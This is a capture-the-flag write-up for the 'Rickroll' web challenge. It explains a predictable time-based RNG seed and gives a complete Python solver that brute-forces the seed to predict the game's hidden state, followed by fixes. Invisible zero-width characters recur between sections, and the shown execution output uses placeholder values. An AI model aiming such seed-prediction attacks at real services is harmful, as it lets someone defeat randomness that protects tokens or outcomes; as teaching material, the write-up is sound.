← Back to Writeups
CUSTOMMediumWeb

Rickroll

XESXOR9/10/20265 min read
#web#custom#medium#game_state_prediction#predictable_rng_attack#seed_bruteforce#linux

Rickroll

Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: game_state_prediction, predictable_rng_attack, seed_bruteforce

Summary

Task: Rickroll Detector game with 50 shortened links, need 20+ coins to win. Solution: Exploited predictable RNG seed (time in milliseconds) by bruteforcing seeds to predict which links are safe vs rickroll.

Rickroll — alfactf.ru

Description

Солнце и штиль. Вы отдыхаете на доске, но внезапно чувствуете, что к вам приближается вихрь. Он приносит с собой смутно знакомые звуки: never gonna give… Срочно выбирайтесь, пока они не засели у вас в голове! И по пути не переходите по незнакомым ссылкам.

URL: https://rickroll-kxko3x12.alfactf.ru

Analysis

Game Mechanics

The "Rickroll Detector" game requires guessing which of 50 shortened links lead to a rickroll:

  • 25 links — rickroll (https://www.youtube.com/watch?v=dQw4w9WgXcQ)
  • 25 links — safe (YouTube videos, CTF sites, HackTricks, etc.) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Rules:

  • Clicking on a rickroll — instant loss
  • Clicking on a safe link — +1 coin
  • Any link can be skipped (continue)
  • 20+ coins needed to win

Vulnerability: Predictable RNG

A critical vulnerability was found in the game.py source code:

python
start_time_ms, start_time_dt = get_time()
random.seed(start_time_ms)  # <-- Predictable seed!
game_links = create_game_links()

Problem: The seed for the random number generator is the current time in milliseconds. If an attacker knows the approximate game start time, they can bruteforce possible seeds and predict the entire game. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Link Generation Algorithm

python
def create_game_links():
    links = []
    
    # 25 rickroll links
    for _ in range(25):
        short_code = generate_short_code()  # 9 random letters
        links.append({"short_code": short_code, "is_rickroll": True, ...})
    
    # 25 safe links (random.sample from file)
    random_file_links = random.sample(FILE_LINKS, 25)
    for url in random_file_links:
        short_code = generate_short_code()
        links.append({"short_code": short_code, "is_rickroll": False, ...})
    
    random.shuffle(links)  # Shuffle
    return links

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Attack Strategy

  1. Record time before and after calling /api/game/start
  2. Get the first short_code via /api/game/link/{session_id}
  3. Bruteforce seeds in the range ±5000ms from the approximate start time
  4. For each seed, reproduce the link generation
  5. When the first short_code matches — the correct seed is found
  6. Now we know which links are rickroll (skip) and which are safe (click)
  7. Click all 25 safe links and get the flag

Exploit

python
#!/usr/bin/env python3
"""
RickRoll CTF Challenge Solver
Vulnerability: random.seed(start_time_ms) - predictable RNG seed
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import random
import string
import time
import requests

BASE_URL = "https://rickroll-kxko3x12.alfactf.ru"

# Links from data/links.txt (needed to reproduce RNG)
FILE_LINKS = [
    "https://www.youtube.com/watch?v=aP_CsSV57Nk",
    "https://neal.fun/stimulation-clicker/",
    "https://neal.fun/infinite-craft/",
    "https://neal.fun/space-elevator/",
    "https://neal.fun/absurd-trolley-problems/",
    "https://www.youtube.com/watch?v=PEARuvwGkXU",
    "https://www.youtube.com/watch?v=MFYKmPESSO4",
    "https://ctftime.org/",
    "https://www.youtube.com/watch?v=tBWXmPpvWGA",
    "https://geoguesser.io/",
    "https://www.youtube.com/watch?v=f9wIvrKSJkM",
    "https://picoctf.org/",
    "https://www.youtube.com/watch?v=IAS9noYNu1w",
    "https://book.hacktricks.wiki/en/pentesting-web/idor.html",
    "https://www.youtube.com/watch?v=PyqEZQc6Cw8",
    "https://github.com/projectdiscovery/nuclei",
    "https://www.youtube.com/watch?v=OPcV9uIY5i4",
    "https://github.com/fuzzdb-project/fuzzdb",
    "https://www.youtube.com/watch?v=2TofunAI6fU",
    "https://github.com/swisskyrepo/PayloadsAllTheThings",
    "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html",
    "https://cryptohack.org/",
    "https://www.youtube.com/watch?v=jmTwlEh8L7g",
    "https://dev.to/devasservice/fastapi-best-practices-a-condensed-guide-with-examples-3pa5",
    "https://www.youtube.com/watch?v=vRBihr41JTo",
    "https://www.youtube.com/watch?v=2OPVViV-GQk",
    "https://www.youtube.com/watch?v=UNgvShN4USU",
]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

RICKROLL_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"


def generate_short_code():
    """Reproduce server-side short code generation"""
    letters = string.ascii_lowercase
    return "".join(random.choice(letters) for _ in range(9))


def create_game_links():
    """Reproduce server-side link generation"""
    links = []
    
    # 25 rickroll links
    for _ in range(25):
        short_code = generate_short_code()
        links.append({
            "short_code": short_code,
            "is_rickroll": True,
            "original_url": RICKROLL_URL,
        })
    
    # 25 safe links
    random_file_links = random.sample(FILE_LINKS, 25)
    for url in random_file_links:
        short_code = generate_short_code()
        links.append({
            "short_code": short_code,
            "is_rickroll": False,
            "original_url": url
        })
    
    random.shuffle(links)
    return links
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def predict_links_for_seed(seed_ms):
    """Predict links for a given seed"""
    random.seed(seed_ms)
    return create_game_links()


def find_correct_seed(first_short_code, approx_time_ms, search_range=5000):
    """Find the correct seed by the first short_code"""
    for offset in range(-search_range, search_range + 1):
        test_seed = approx_time_ms + offset
        links = predict_links_for_seed(test_seed)
        if links[0]["short_code"] == first_short_code:
            print(f"[+] Found matching seed: {test_seed} (offset: {offset}ms)")
            return test_seed, links
    return None, None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def play_game():
    """Main solver"""
    session = requests.Session()
    
    # Record time before start
    before_time_ms = int(time.time() * 1000)
    
    # Start the game
    print("[*] Starting game...")
    resp = session.post(f"{BASE_URL}/api/game/start")
    resp.raise_for_status()
    game_data = resp.json()
    session_id = game_data["session_id"]
    print(f"[+] Session ID: {session_id}")
    
    # Record time after start
    after_time_ms = int(time.time() * 1000)
    approx_time_ms = (before_time_ms + after_time_ms) // 2
    
    # Get the first link
    resp = session.get(f"{BASE_URL}/api/game/link/{session_id}")
    resp.raise_for_status()
    link_data = resp.json()
    first_short_code = link_data["short_code"]
    print(f"[+] First short code: {first_short_code}")
    
    # Search for the correct seed
    print(f"[*] Searching for seed around {approx_time_ms}...")
    seed, predicted_links = find_correct_seed(first_short_code, approx_time_ms)
    
    if seed is None:
        print("[-] Could not find matching seed!")
        return None
    
    # Play with prediction
    print("\n[*] Playing the game with predictions...")
    coins = 0
    
    for i in range(50):
        resp = session.get(f"{BASE_URL}/api/game/link/{session_id}")
        if resp.status_code != 200:
            break
        
        link_data = resp.json()
        current_short_code = link_data["short_code"]
        current_index = link_data["link_index"]
        
        is_rickroll = predicted_links[current_index]["is_rickroll"]
        
        # Rickroll — skip, Safe — click
        if is_rickroll:
            guess = "continue"
            print(f"  [{i}] {current_short_code} - SKIP (rickroll)")
        else:
            guess = "not_rickroll"
            print(f"  [{i}] {current_short_code} - CLICK (safe)")
        
        resp = session.post(f"{BASE_URL}/api/game/guess", json={
            "session_id": session_id,
            "link_index": current_index,
            "guess": guess
        })
        
        result = resp.json()
        coins = result["coins"]
        
        if result["game_over"]:
            print(f"\n[*] Game over! Coins: {coins}")
            if result["won"]:
                print(f"[+] FLAG: {result['flag']}")
                return result["flag"]
    
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == "__main__":
    flag = play_game()

Execution Result

[*] Starting game...
[+] Session ID: abc123...
[+] First short code: xyzabcdef
[*] Searching for seed around 1734567890123...
[+] Found matching seed: 1734567890100 (offset: -23ms)

[*] Playing the game with predictions...
  [0] xyzabcdef - CLICK (safe)
  [1] qwertynop - SKIP (rickroll)
  ...
  [49] lastcode9 - CLICK (safe)

[*] Game over! Coins: 25
[+] FLAG: alfa{REDACTED}

Defense

  1. Cryptographically secure RNG:
    python
    import secrets
    short_code = ''.join(secrets.choice(string.ascii_lowercase) for _ in range(9))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Unpredictable seed:

    python
    import os
    random.seed(os.urandom(32))
  2. Server-side validation: Don't rely on client-side logic, store game state on the server with protection against manipulation.

References